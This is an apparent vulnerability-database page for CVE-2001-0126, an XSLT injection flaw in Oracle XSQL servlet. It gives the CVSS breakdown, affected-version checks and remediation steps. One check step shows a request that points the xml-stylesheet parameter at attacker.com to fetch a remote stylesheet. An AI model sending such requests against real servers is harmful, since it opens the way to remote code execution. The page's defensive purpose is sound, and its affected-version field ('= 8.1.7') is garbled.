CVE-2001-0126
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedOracle XSQL servlet 1.0.3.0 and earlier allows remote attackers to execute arbitrary Java code by redirecting the XSQL server to another source via the xml-stylesheet parameter in the xslt stylesheet.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceOracle XSQL servlet versions 1.0.3.0 and earlier contains an XSLT injection vulnerability. Attackers can manipulate the xml-stylesheet parameter to redirect the XSQL server to a malicious XSLT stylesheet, enabling arbitrary Java code execution on the host.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data= 8.1.7CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Authentication
- None
- Confidentiality
- Partial
- Integrity
- Partial
- Availability
- Partial
AV:N/AC:L/Au:N/C:P/I:P/A:P
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Confirm Oracle XSQL servlet is installedLocate XSQL servlet files on the system - typically distributed as a JAR file (such as oracle.xsql.jar or xsql.jar) within the Oracle application server or Oracle8i installation directory. Check application server configuration files for XSQL servlet mappings.Affected if XSQL servlet files are present on the system
-
Identify the XSQL servlet versionExamine the JAR file manifest or check version information in the XSQL servlet classes. The version may be displayed in servlet container logs or accessible via a diagnostic query if the servlet supports version reporting.Affected if Version is 1.0.3.0 or earlier, or version cannot be determined and falls within the affected range
-
Determine if XSQL servlet endpoint is network-accessibleCheck network listener configurations, Oracle Application Server settings, or web server configurations to see if the XSQL servlet URL path (typically /xsql or similar) is exposed to network access rather than localhost only.Affected if The XSQL servlet endpoint is accessible from network addresses beyond trusted local hosts
-
Test for xml-stylesheet parameter injection pointSend a crafted HTTP request to the XSQL servlet with an xml-stylesheet parameter pointing to an external URL, such as: GET /xsql?xml-stylesheet=http://attacker.com/style.xsl. Observe if the servlet attempts to fetch the external stylesheet.Affected if The servlet accepts and attempts to process the xml-stylesheet parameter from external sources
A user is affected if Oracle XSQL servlet version 1.0.3.0 or earlier is installed and the servlet endpoint is accessible to untrusted network sources, allowing manipulation of the xml-stylesheet parameter.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataUpgrade to Oracle XSQL servlet version 1.0.4.0 or later, or if upgrade is not feasible, implement network-level access controls to restrict untrusted access to the XSQL servlet endpoint.
- Consultation4.0 h
- Implementation8.0 h
- Testing6.0 h
- Review / QA4.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $6,176.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2001-0126 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2001-0126 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data